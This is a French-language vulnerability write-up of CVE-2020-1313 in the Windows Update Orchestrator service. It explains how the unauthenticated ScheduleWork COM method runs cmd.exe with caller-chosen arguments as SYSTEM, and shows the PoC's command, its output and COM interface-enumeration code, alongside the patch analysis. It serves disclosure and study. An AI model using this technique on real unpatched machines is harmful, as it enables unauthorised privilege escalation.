
Preuve de concept d'exploitation de la vulnérabilité d'élévation de privilèges du service d'orchestrateur de Windows Update
Le service Windows Update Orchestrator est un service DCOM utilisé par d'autres composants pour installer les mises à jour Windows déjà téléchargées. USO était vulnérable à une élévation de privilèges (tout utilisateur vers le système local) en raison d'une autorisation incorrecte des appelants. La vulnérabilité affectait les produits Windows 10 et Windows Server Core. Corrigée par Microsoft lors du Patch Tuesday de juin 2020.
Le service UniversalOrchestrator (GUID 9C695035-48D2-4229-8B73-4C70E756E519), implémenté dans usosvc.dll, s'exécute en tant que NT_AUTHORITY\SYSTEM et est configuré avec des autorisations d'accès pour BUILTIN\Users (entre autres).
Bien que l'énumération des classes COM implémentées par ce service soit bloquée (OLEView.NET : Erreur lors de l'interrogation des interfaces COM - ClassFactory ne peut pas fournir la classe demandée), l'interface IUniversalOrchestrator (c53f3549-0dbf-429a-8297-c812ba00742d) - telle qu'exposée par la définition du proxy - peut être obtenue via des appels API COM standard. Les 3 méthodes suivantes sont exportées :
virtual HRESULT __stdcall HasMoratoriumPassed(wchar_t* uscheduledId, int64_t* p1);//usosvc!UniversalOrchestrator::HasMoratoriumPassed
virtual HRESULT __stdcall ScheduleWork(wchar_t* uscheduledId, wchar_t* cmdLine, wchar_t* startArg, wchar_t* pauseArg);//usosvc!UniversalOrchestrator::ScheduleWork
virtual HRESULT __stdcall WorkCompleted(wchar_t* uscheduledId, int64_t p1);//usosvc!UniversalOrchestrator::WorkCompleted
La méthode ScheduleWork peut être utilisée pour planifier une commande à exécuter dans le contexte du service et peut être effectuée sans aucune autorisation du demandeur. Bien que l'exécutable cible lui-même doive être signé numériquement et situé sous c:\windows\system32 ou les fichiers communs dans Program Files, les arguments de ligne de commande peuvent également être spécifiés. Cela permet de lancer c:\windows\system32\cmd.exe et d'obtenir une exécution de code arbitraire de cette manière sous NT_AUTHORITY\SYSTEM, faisant de ce problème une élévation de privilèges locale.
Le travail est « planifié », il n'est pas lancé immédiatement.
Le PoC que j'ai créé configure un « travail » avec cmdLine c:\windows\system32\cmd.exe et les paramètres : /c "whoami > c:\x.txt & whoami /priv >>c:\x.txt"
Exécution :
C:\111>whoami
desktop-43rnlku\unprivileged
C:\111>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\111>whoami /priv
C:\111>UniversalOrchestratorPrivEscPoc.exe
Obtaining reference to IUniversalOrchestrator
Scheduling work with id 56594
Succeeded. You may verify HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler to see the task has indeed been onboarded. The command itself will be executed overnight if there is no user interaction on the box or after 3 days SLA has passed.
Une entrée concernant le travail planifié est ajoutée au registre :

La commande spécifiée est exécutée pendant la nuit (vers 23h20) lorsqu'aucune interaction utilisateur n'est attendue, ou après 3 jours de SLA écoulés.
Lorsque je n'ai pas pu obtenir la définition d'interface du service USO avec OleView.NET, j'ai créé un script pour parcourir des centaines de combinaisons CLSID/IID et qui, selon moi, fonctionnerait à un certain niveau. Cela ressemblait à ceci :
void TestUpdateOrchestratorInterfaceAgainstService(IID& clsId, const char* className, const wchar_t* iidStr, const char *interfaceName)
{
void *ss = NULL;
IID iid;
ThrowOnError(IIDFromString(iidStr, (LPCLSID)&iid)); // working with e at the end, failing with anything else
HRESULT res = CoCreateInstance(clsId, nullptr, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&ss);
printf("%s %s: %s\n", className, interfaceName, res == S_OK ? "WORKING" : "failure");
}
void TestUpdateOrchestratorInterface(const wchar_t* iidStr, const char *interfaceName)
{
// TestUpdateOrchestratorInterfaceAgainstService(CLSID_AutomaticUpdates, "AutomaticUpdates", iidStr, interfaceName); // timeouting!
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UxUpdateManager, "UxUpdateManager", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UsoService, "UsoService", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UpdateSessionOrchestrator, "UpdateSessionOrchestrator", iidStr, interfaceName);
TestUpdateOrchestratorInterfaceAgainstService(CLSID_UniversalOrchestrator, "UniversalOrchestrator", iidStr, interfaceName);
// TestUpdateOrchestratorInterfaceAgainstService(CLSID_SomeService, "SomeService", iidStr, interfaceName); // timeouting!
}
...
TestUpdateOrchestratorInterface(L"{c57692f8-8f5f-47cb-9381-34329b40285a}", "IMoUsoOrchestrator");
TestUpdateOrchestratorInterface(L"{4284202d-4dc1-4c68-a21e-5c371dd92671}", "IMoUsoUpdate");
TestUpdateOrchestratorInterface(L"{c879dd73-4bd2-4b76-9dd8-3b96113a2130}", "IMoUsoUpdateCollection");
// ... and hundreds of more
Le résultat de l'approche était :
UniversalOrchestrator IUniversalOrchestrator: WORKING
UpdateSessionOrchestrator IUpdateSessionOrchestrator: WORKING
UxUpdateManager IUxUpdateManager: WORKING
Ensuite, j'ai commencé à rétro-ingénier l'implémentation et j'ai trouvé le flux décrit ci-dessus.
Microsoft a corrigé ce problème lors du Patch Tuesday de juin 2020 en ajoutant l'appel API CoImpersonateClient manquant.
Implémentation avant l'application du correctif :

Implémentation après l'application du correctif :

En quoi cela aide-t-il ? L'emprunt d'identité est effectué au début du traitement de la demande, de sorte que les appels API pour mettre à jour le registre sont exécutés dans le contexte de sécurité de l'appelant. Si l'appelant n'a pas de privilège sur HKEY_LOCAL_MACHINE, la méthode API uso échouera en conséquence.
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1313